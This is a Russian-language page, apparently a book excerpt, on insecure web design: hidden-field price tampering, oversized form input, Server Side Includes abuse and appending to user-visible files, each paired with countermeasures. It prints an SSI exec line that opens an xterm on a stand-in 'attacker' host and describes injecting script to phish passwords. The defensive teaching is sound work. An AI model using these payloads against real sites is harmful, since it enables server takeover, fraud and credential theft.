![]() | ![]() | ![]() |
| Плохое проектирование в Web
Хотя в истории развития Internet имеются многочисленные примеры разрушительных
атак на Web-серверы, которые позволяют взломщикам получать важную информацию об
устройстве сервера, а зачастую и привилегированные права доступа, эти взломы —
только вершина айсберга. Многие разработчики не стремятся изучить жизненно важные
методы проектирования, которые могли бы ограничить нежелательное использование
их Web-серверов. В развитие многих из методов, обсуждаемых в этой главе, внесли
вклад многие люди, в том числе Симпл Номад (Simple Nomad) из центра NMRCи компания
Perfecto Inc. Использование скрытых дескрипторов В настоящее время многие компании
пользуются Internet, предлагая свои продукты и услуги любому, у кого есть Web-броузер.
Но "плохо запрограммированная" тележка для покупок может позволить взломщику
фальсифицировать стоимость товаров. Например, рассмотрим небольшую компанию, занимающуюся
продажей аппаратного обеспечения. Эта компания обзавелась собственным Web-сервером,
чтобы ее клиенты могли осуществлять покупки в интерактивном режиме. Однако они
допустили в программе важный промах: применили скрытые дескрипторы HTML как единственный
механизм назначения цены за определенный товар. В результате, если взломщики обнаружат
это уязвимое место, они смогут изменить цену, стоящую в скрытых дескрипторах,
по своему усмотрению. <FORM ACTION="http://192.168.51.101/cgi-bin/order.pi" <input type=hidden name="price" value="l.99"> Если вам кажется, что такой стиль программирования встречается редко, то можете удостовериться в этом самостоятельно. Стоит лишь зайти на узел http://www.altavista.com и осуществить поиск, задав в качестве критерия строку type=hidden name=price. В результате будут получены адреса сотни узлов, обладающих таким изъяном. Другая форма взлома заключается в использовании значения ширины поля. При проектировании в Web указываются многие размеры, однако взломщик может менять заданные разработчиком значения, указывая размеры порядка 70,000 символов. Затем он может ввести в соответствующее поле строку, состоящую из большого числа символов, и это может привести к выходу сервера из строя. Если этого и не произойдет, то подобные действия все же могут привести к непредсказуемым последствиям. Контрмеры против использования скрытых дескрипторов
Чтобы предотвратить возможность использования взломщиками скрытых дескрипторов
HTML, ограничьте их использование в коде, который обеспечивает хранение такой
важной информации как цены, или, по крайней мере, реализуйте режим подтверждения
этих значений перед их использованием. Вставки SSI Механизм SSI (Server Side Includes)
обеспечивает интерактивную работу в режиме реального времени без использования
программирования. Разработчики Web-приложений часто используют эту возможность
для быстрого получения системной даты/времени или для запуска локальной команды
и обработки выходных данных. Возможности таких вставок реализуются с помощью дескрипторов
(tag). В число дескрипторов входят: echo, include, fsize, flastmod, exec, config,
odbc, email, if, goto, label, и break. Три из них, include, exec и email, могут
оказаться наиболее полезны взломщикам. <!--#ехес cmd="/usr/XHR6/bin/xterm -display attacker:0 &"--> Меры предосторожности против использования SSI Нужно пользоваться сценарием, проводящим предварительный синтаксический
анализ любого прочитанного файла HTML, и отбрасывающим любую несанкционированную
строку SSI перед передачей этого файла серверу для обработки. Добавления к файлам Любая
возможность Web-приложений, позволяющая пользователю вводить информацию в файл
непосредственно повышает уязвимость системы и создает потенциальную возможность
атаки. Например, если на Web-узле содержится форма для ввода рекомендаций по улучшению
работы узла, или что-то другое в том же духе, и пользователи имеют возможность
просматривать этот файл, то взломщик может воспользоваться этим обстоятельством.
Используя код SSI (описанным выше способом), он может поместить в файл с комментариями
код, который запускается локально, или код JavaScript, предлагающий ввести входящим
пользователям их имя и пароль, чтобы использовать эту информацию в будущем. Контрмеры против использования добавлений к файлам Нужно ограничить возможность использования
добавлений в процессе совместного интерактивного использования информации, так
как эти возможности открывают взломщику слишком много путей манипулирования пользователями
и Web-сервером. |
![]() | ![]() | ![]() |